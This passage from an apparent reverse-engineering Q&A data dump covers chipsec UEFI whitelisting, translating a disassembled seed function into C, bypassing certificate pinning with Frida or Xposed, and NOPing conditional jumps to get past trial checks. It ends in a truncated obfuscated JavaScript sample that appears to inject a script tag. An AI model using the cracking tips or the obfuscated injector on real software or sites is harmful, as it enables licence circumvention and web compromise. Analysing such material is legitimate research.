ROM or&lt;br&gt;&#xA;file against this list of [expected/whitelisted] executables&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Usage:&#xA;&#xA;  ``chipsec_main -m tools.uefi.whitelist [-a generate|check,&amp;lt;json&amp;gt;,&amp;lt;fw_image&amp;gt;]``&#xA;&#xA;    - ``generate``  Generates a list of EFI executable binaries from the UEFI&#xA;&#xA;                        firmware image (default)&#xA;&#xA;    - ``check``     Decodes UEFI firmware image and checks all EFI executable&#xA;&#xA;                        binaries against a specified list&#xA;&#xA;    - ``json``      JSON file with configuration of white-listed EFI&#xA;&#xA;                        executables (default = ``efilist.json``)&#xA;&#xA;    - ``fw_image``  Full file path to UEFI firmware image. If not specified,&#xA;&#xA;                        the module will dump firmware image directly from ROM&#xA;&#xA;&#xA;&#xA;Examples:&#xA;&#xA;&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; chipsec_main -m tools.uefi.whitelist&#xA;&#xA;&#xA;&#xA;Creates a list of EFI executable binaries in ``efilist.json`` from the firmware&#xA;&#xA;image extracted from ROM&#xA;&#xA;&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; chipsec_main -i -n -m tools.uefi.whitelist -a generate,efilist.json,uefi.rom&#xA;&#xA;&#xA;&#xA;Creates a list of EFI executable binaries in ``efilist.json`` from ``uefi.rom``&#xA;&#xA;firmware binary &#xA;&#xA;&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; chipsec_main -i -n -m tools.uefi.whitelist -a check,efilist.json,uefi.rom&#xA;&#xA;&#xA;&#xA;Decodes ``uefi.rom`` UEFI firmware image binary and checks all EFI executables&#xA;&#xA;in it against a list defined in ``efilist.json``&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note that a BIOS update by its nature will mean some modules will change (due to bugfixes/new features etc.) but this should at least let you know which specific parts changed and maybe even inspect them in detail.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-07-28T09:35:22.350" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15935" PostTypeId="1" CreationDate="2017-07-28T10:06:40.973" Score="1" ViewCount="14711" Body="&lt;p&gt;I want to do a challenge: automise some tasks that I do in a game so I can get the max of points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do that, I need to know the url called and the parameters that are used in the Game. After setting a genymotion station and made a proxy, I've discovered that the game won't start if the certificate doesn't match with the one that is set in the app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is how I can go further?&lt;/p&gt;&#xA;" OwnerUserId="21023" LastActivityDate="2017-07-28T15:52:56.153" Title="Sniffing https traffic of an android app" Tags="|android|apk|sniffing|https-protocol|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15936" PostTypeId="1" CreationDate="2017-07-28T11:50:52.683" Score="2" ViewCount="382" Body="&lt;p&gt;There is a program which I expect to run to generate a seed, but I don't know how to proceed and I am new to reversing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the machine code of a program which is built for x86 architecture. I know that the expected function of the code is to generate a seed from three 8 byte arguments. However, I have no idea on how to proceed and debug this. The numbers in this case are (as integer, not hex) 1095923727, 3459613537, and 2312051101.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hexdump of the code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;5589 e583 ec18 c704 2410 0000 00e8 26ff&#xA;ffff 8945 f0c7 45f4 0000 0000 eb62 8345&#xA;f401 8b45 08f7 d0c1 e810 3345 0889 45f8&#xA;8b55 f48b 45f8 01d0 69c0 6745 2301 35ef&#xA;cdab 8989 4508 8b45 0831 450c 8b45 0801&#xA;4510 8b55 f48b 45f8 01d0 69c0 efcd ab89&#xA;3567 4523 0189 4508 8b45 0889 45f8 8b45&#xA;0c89 4508 8b45 1089 450c 8b45 f889 4510&#xA;817d f4ff 0000 0076 958b 550c 8b45 0831&#xA;d033 4510 8945 f88b 45f0 8945 fc8b 55fc&#xA;8b45 0889 028b 45fc 8d50 048b 450c 8902&#xA;8b45 fc8d 5008 8b45 1089 028b 45fc 8d50&#xA;0c8b 45f8 8902 8b45 f0c9 c3         &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Running that through a disassembler (r2 in this case) yields this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/ (fcn) fcn.00000000 203&#xA;|   fcn.00000000 (int arg_8h, int arg_ch, int arg_10h);&#xA;|           ; var int local_10h @ rbp-0x10&#xA;|           ; var int local_ch @ rbp-0xc&#xA;|           ; var int local_8h @ rbp-0x8&#xA;|           ; var int local_4h @ rbp-0x4&#xA;|           ; arg int arg_8h @ rbp+0x8&#xA;|           ; arg int arg_ch @ rbp+0xc&#xA;|           ; arg int arg_10h @ rbp+0x10&#xA;|           0x00000000      55             push rbp&#xA;|           0x00000001      89e5           mov ebp, esp&#xA;|           0x00000003      83ec18         sub esp, 0x18&#xA;|           0x00000006      c70424100000.  mov dword [rsp], 0x10       ; [0x10:4]=0x4589ffff&#xA;|           0x0000000d      e826ffffff     call 0xffffffffffffff38&#xA;|           0x00000012      8945f0         mov dword [rbp - local_10h], eax&#xA;|           0x00000015      c745f4000000.  mov dword [rbp - local_ch], 0&#xA;|       ,=&amp;lt; 0x0000001c      eb62           jmp 0x80&#xA;|      .--&amp;gt; 0x0000001e      8345f401       add dword [rbp - local_ch], 1&#xA;|      ||   0x00000022      8b4508         mov eax, dword [rbp + arg_8h] ; [0x8:4]=0x1024&#xA;|      ||   0x00000025      f7d0           not eax&#xA;|      ||   0x00000027      c1e810         shr eax, 0x10&#xA;|      ||   0x0000002a      334508         xor eax, dword [rbp + arg_8h]&#xA;|      ||   0x0000002d      8945f8         mov dword [rbp - local_8h], eax&#xA;|      ||   0x00000030      8b55f4         mov edx, dword [rbp - local_ch]&#xA;|      ||   0x00000033      8b45f8         mov eax, dword [rbp - local_8h]&#xA;|      ||   0x00000036      01d0           add eax, edx&#xA;|      ||   0x00000038      69c067452301   imul eax, eax, 0x1234567&#xA;|      ||   0x0000003e      35efcdab89     xor eax, 0x89abcdef&#xA;|      ||   0x00000043      894508         mov dword [rbp + arg_8h], eax ; [0x8:4]=0x1024&#xA;|      ||   0x00000046      8b4508         mov eax, dword [rbp + arg_8h] ; [0x8:4]=0x1024&#xA;|      ||   0x00000049      31450c         xor dword [rbp + arg_ch], eax&#xA;|      ||   0x0000004c      8b4508         mov eax, dword [rbp + arg_8h] ; [0x8:4]=0x1024&#xA;|      ||   0x0000004f      014510         add dword [rbp + arg_10h], eax&#xA;|      ||   0x00000052      8b55f4         mov edx, dword [rbp - local_ch]&#xA;|      ||   0x00000055      8b45f8         mov eax, dword [rbp - local_8h]&#xA;|      ||   0x00000058      01d0           add eax, edx&#xA;|      ||   0x0000005a      69c0efcdab89   imul eax, eax, 0x89abcdef&#xA;|      ||   0x00000060      3567452301     xor eax, 0x1234567&#xA;|      ||   0x00000065      894508         mov dword [rbp + arg_8h], eax ; [0x8:4]=0x1024&#xA;|      ||   0x00000068      8b4508         mov eax, dword [rbp + arg_8h] ; [0x8:4]=0x1024&#xA;|      ||   0x0000006b      8945f8         mov dword [rbp - local_8h], eax&#xA;|      ||   0x0000006e      8b450c         mov eax, dword [rbp + arg_ch] ; [0xc:4]=0xff26e800&#xA;|      ||   0x00000071      894508         mov dword [rbp + arg_8h], eax ; [0x8:4]=0x1024&#xA;|      ||   0x00000074      8b4510         mov eax, dword [rbp + arg_10h] ; [0x10:4]=0x4589ffff&#xA;|      ||   0x00000077      89450c         mov dword [rbp + arg_ch], eax ; [0xc:4]=0xff26e800&#xA;|      ||   0x0000007a      8b45f8         mov eax, dword [rbp - local_8h]&#xA;|      ||   0x0000007d      894510         mov dword [rbp + arg_10h], eax ; [0x10:4]=0x4589ffff&#xA;|      ||   ; JMP XREF from 0x0000001c (fcn.00000000)&#xA;|      |`-&amp;gt; 0x00000080      817df4ff0000.  cmp dword [rbp - local_ch], 0xff ; [0xff:4]=-1 ; 255&#xA;|      `==&amp;lt; 0x00000087      7695           jbe 0x1e&#xA;|           0x00000089      8b550c         mov edx, dword [rbp + arg_ch] ; [0xc:4]=0xff26e800&#xA;|           0x0000008c      8b4508         mov eax, dword [rbp + arg_8h] ; [0x8:4]=0x1024&#xA;|           0x0000008f      31d0           xor eax, edx&#xA;|           0x00000091      334510         xor eax, dword [rbp + arg_10h]&#xA;|           0x00000094      8945f8         mov dword [rbp - local_8h], eax&#xA;|           0x00000097      8b45f0         mov eax, dword [rbp - local_10h]&#xA;|           0x0000009a      8945fc         mov dword [rbp - local_4h], eax&#xA;|           0x0000009d      8b55fc         mov edx, dword [rbp - local_4h]&#xA;|           0x000000a0      8b4508         mov eax, dword [rbp + arg_8h] ; [0x8:4]=0x1024&#xA;|           0x000000a3      8902           mov dword [rdx], eax&#xA;|           0x000000a5      8b45fc         mov eax, dword [rbp - local_4h]&#xA;|           0x000000a8      8d5004         lea edx, dword [rax + 4]    ; 0x4&#xA;|           0x000000ab      8b450c         mov eax, dword [rbp + arg_ch] ; [0xc:4]=0xff26e800&#xA;|           0x000000ae      8902           mov dword [rdx], eax&#xA;|           0x000000b0      8b45fc         mov eax, dword [rbp - local_4h]&#xA;|           0x000000b3      8d5008         lea edx, dword [rax + 8]    ; 0x8&#xA;|           0x000000b6      8b4510         mov eax, dword [rbp + arg_10h] ; [0x10:4]=0x4589ffff&#xA;|           0x000000b9      8902           mov dword [rdx], eax&#xA;|           0x000000bb      8b45fc         mov eax, dword [rbp - local_4h]&#xA;|           0x000000be      8d500c         lea edx, dword [rax + 0xc]  ; 0xc&#xA;|           0x000000c1      8b45f8         mov eax, dword [rbp - local_8h]&#xA;|           0x000000c4      8902           mov dword [rdx], eax&#xA;|           0x000000c6      8b45f0         mov eax, dword [rbp - local_10h]&#xA;|           0x000000c9      c9             leave&#xA;\           0x000000ca      c3             ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I run the code above with the three input arguments and generate output? &lt;/p&gt;&#xA;" OwnerUserId="21012" LastActivityDate="2017-08-04T16:22:10.897" Title="Running machine code that I need to execute with arguments. How?" Tags="|disassembly|debugging|cryptography|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15938" PostTypeId="2" ParentId="15933" CreationDate="2017-07-28T14:34:58.227" Score="3" Body="&lt;p&gt;I'm going to reply to this without making any assumptions. I have had to do this very thing before for a client regarding non-copyrighted abandonware. Your results may vary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for your specific question, yes, it's possible, but probably not the most optimal (or easiest) solution for what you want to achieve. Regardless, consider the following, bearing in mind that these are just potential solutions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; Read into &lt;a href=&quot;https://www.codeproject.com/Articles/20240/The-Beginners-Guide-to-Codecaves&quot; rel=&quot;nofollow noreferrer&quot;&gt;codecaves&lt;/a&gt;. This very common technique avails you the memory and functionality to craft, inject, redirect, and execute custom code you write.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; Trace the execution of that routine. Note any values of interest to you that are residing in registers and/or on the stack, especially return values from &lt;code&gt;call&lt;/code&gt; instructions. Depending on what you find, you can create an injection that only modifies existing bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, perhaps the bytes from &lt;code&gt;1009A467&lt;/code&gt;-&lt;code&gt;1009A474&lt;/code&gt; are enough to create a custom &lt;code&gt;mov&lt;/code&gt; instruction that puts a value you want into &lt;code&gt;eax&lt;/code&gt; prior to the &lt;code&gt;mov&lt;/code&gt; instruction at &lt;code&gt;1009A477&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, if you've studied that bit of code enough, perhaps there's something in another register that you can specify at &lt;code&gt;1009A477&lt;/code&gt;, i.e. &lt;code&gt;mov [ebp+var_4], ebx&lt;/code&gt; or &lt;code&gt;mov [ebp+var_4], edx&lt;/code&gt;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt; What happens if you &lt;code&gt;nop&lt;/code&gt; the two &lt;code&gt;jz&lt;/code&gt; instructions? See how they both jump to that segment of code at &lt;code&gt;loc_1009A467&lt;/code&gt;? Note that there may be unintended results like instantly triggering the end of a trial period or corrupting data. This is when it can help to monitor the footprint of an application when installing it so you can identify how it maintains persistence with functionality like activation. Maybe it's a temp file, a registry key, or something else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, the two &lt;code&gt;and&lt;/code&gt; instructions you're pointing to at &lt;code&gt;1009A442&lt;/code&gt; and &lt;code&gt;1009A446&lt;/code&gt; are zeroing the memory addresses being referenced at &lt;code&gt;[ebp+offsets]&lt;/code&gt;, respectively. This is just setting them up for use somewhere afterward. Anything you &lt;code&gt;and&lt;/code&gt; with 0 will equal 0. It's a common method in Assembly for clearing a register, as is when you &lt;code&gt;xor&lt;/code&gt; a register with itself, i.e. &lt;code&gt;xor eax, eax&lt;/code&gt;. You can read more about the binary operation &lt;code&gt;and&lt;/code&gt; &lt;a href=&quot;http://www.xcprod.com/titan/XCSB-DOC/binary_and.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="20928" LastActivityDate="2017-07-28T14:34:58.227" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15939" PostTypeId="2" ParentId="15935" CreationDate="2017-07-28T14:42:20.883" Score="0" Body="&lt;p&gt;If you can emulate the application, you could try to look at the hooking method :) for example take a look to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://forum.xda-developers.com/xposed&quot; rel=&quot;nofollow noreferrer&quot;&gt;xposed framework&lt;/a&gt; -  a simple &lt;a href=&quot;https://blog.squareroots.de/en/2015/12/seccon-2015-online-ctf-reverse-engineering-android-apk-1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;example&lt;/a&gt; - and &lt;a href=&quot;https://github.com/rovo89/XposedBridge/wiki/Development-tutorial&quot; rel=&quot;nofollow noreferrer&quot;&gt;another&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.frida.re/docs/examples/android/&quot; rel=&quot;nofollow noreferrer&quot;&gt;frida&lt;/a&gt; - It’s a dynamic code instrumentation toolkit&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Xposed Framework requires root access to install.&lt;br&gt;&#xA;Also Frida require a rooted phone.&lt;br&gt;&#xA;Then you can edit for example the parameters of the function which controls the certificate&lt;/p&gt;&#xA;" OwnerUserId="4275" LastActivityDate="2017-07-28T14:42:20.883" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15940" PostTypeId="2" ParentId="15935" CreationDate="2017-07-28T15:44:38.647" Score="1" Body="&lt;p&gt;If you're a Windows user, as a matter of dynamic analysis, you could try using an emulator like &lt;a href=&quot;http://www.bluestacks.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;BlueStacks&lt;/a&gt;, then inspect your system network traffic with a program like &lt;a href=&quot;http://www.telerik.com/fiddler&quot; rel=&quot;nofollow noreferrer&quot;&gt;Fiddler&lt;/a&gt; or &lt;a href=&quot;https://www.wireshark.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;WireShark&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, you could use a program like &lt;a href=&quot;https://github.com/cheat-engine/cheat-engine&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cheat Engine&lt;/a&gt; to open the BlueStacks process and scan its memory for strings related to URLs. As an aside, you could statically analyze the APK by unpacking/decompressing it, then comb through its files looking for relevant strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back to Cheat Engine, you could ultimately write a script in Assembly or Lua to automate certain tasks--or you could just change certain values in memory if there is weak server validation (or none at all).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps a significantly easier solution all around is to use something like &lt;a href=&quot;https://www.autoitscript.com/site/autoit/&quot; rel=&quot;nofollow noreferrer&quot;&gt;AutoIt&lt;/a&gt;, which would allow you to script mouse movements and keystrokes. At that rate, all you have to do is install the game in the emulator, then script whatever process(es) you need to script for automation.&lt;/p&gt;&#xA;" OwnerUserId="20928" LastEditorUserId="20928" LastEditDate="2017-07-28T15:52:56.153" LastActivityDate="2017-07-28T15:52:56.153" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15941" PostTypeId="2" ParentId="15936" CreationDate="2017-07-28T17:13:09.877" Score="1" Body="&lt;p&gt;This should work, i think i didnt miss anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would be nice to know at least a few expected inputs and outputs for comparison. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also not sure if the call 0xffffffffffffff38 would do anything to local_10h aside from making a struct of integers..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;&#xA;#include&amp;lt;string.h&amp;gt;&#xA;&#xA;unsigned * func_00000000 (unsigned arg_8h, unsigned arg_ch, unsigned arg_10h) {&#xA;    static unsigned local_10h [4]; //init should be local_10h call 0xffffffffffffff38 ??&#xA;    unsigned local_ch;&#xA;    unsigned local_8h;&#xA;    unsigned local_4h;&#xA;&#xA;&#xA;    for (local_ch = 0; local_ch &amp;lt;= 0xff; ++local_ch) {&#xA;        local_8h = local_4h + (((~arg_8h &amp;gt;&amp;gt; 16 ^ arg_8h) + local_ch) * 0x1234567 ^ 0x89abcdef);&#xA;        arg_ch = ((~arg_8h &amp;gt;&amp;gt; 16 ^ arg_8h) + local_ch) * 0x89abcdef ^ 0x1234567;&#xA;        arg_8h = arg_10h ^ (((~arg_8h &amp;gt;&amp;gt; 16 ^ arg_8h) + local_ch) * 0x1234567 ^ 0x89abcdef);&#xA;        arg_10h = local_8h;&#xA;        local_4h = arg_ch;&#xA;    }&#xA;    local_10h[0] = arg_8h;&#xA;    local_10h[1] = arg_10h;&#xA;    local_10h[2] = local_4h;&#xA;    local_10h[3] = arg_8h ^ arg_10h ^ local_4h;&#xA;    return local_10h;&#xA;}&#xA;&#xA;main()&#xA;{&#xA;    unsigned * p;&#xA;    int i;&#xA;    p = func_00000000(1095923727, 3459613537, 2312051101);&#xA;&#xA;    for ( i = 0; i &amp;lt; 4; i++ ) {&#xA;        printf( &quot;%u\n&quot;, p[i]);&#xA;   }&#xA;&#xA;   return 0;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3744" LastEditorUserId="3744" LastEditDate="2017-07-28T18:07:45.770" LastActivityDate="2017-07-28T18:07:45.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15943" PostTypeId="1" AcceptedAnswerId="15946" CreationDate="2017-07-28T23:31:20.407" Score="2" ViewCount="1000" Body="&lt;pre&gt;&lt;code&gt;Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§=~[];Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§={___:++Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§,$$$$:(![]+&quot;&quot;)[Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§],__$:++Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§,$_$_:(![]+&quot;&quot;)[Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§],_$_:++Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§,$_$$:({}+&quot;&quot;)[Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§],$$_$:(Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§[Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§]+&quot;&quot;)[Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§],_$$:++Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§,$$$_:(!&quot;&quot;+&quot;&quot;)[Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§],$__:++Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§,$_$:++Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§,$$__:({}+&quot;&quot;)[Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§],$$_:++Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§,$$$:++Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§,$___:++Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§,$__$:++Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§};Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_=(Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_=Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§+&quot;&quot;)[Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$]+(Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$=Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_[Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$])+(Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$=(Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$+&quot;&quot;)[Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$])+((!Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§)+&quot;&quot;)[Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$$]+(Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__=Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_[Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_])+(Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$=(!&quot;&quot;+&quot;&quot;)[Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$])+(Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._=(!&quot;&quot;+&quot;&quot;)[Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$_])+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_[Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$]+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$;Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$=Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$+(!&quot;&quot;+&quot;&quot;)[Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$$]+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$;Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$=(Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.___)[Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_][Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_];Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$(Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$(Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$+&quot;\&quot;&quot;+&quot;$('&amp;lt;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$__+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$_+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.___+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$__+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.___+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$$+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$__+&quot;=\\\&quot;&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$_+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$$+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$$+&quot;/\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$_+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$$+&quot;/\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$__+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$$+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.___+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._+&quot;/\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.___+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$_+&quot;/\\&quot;+Ø 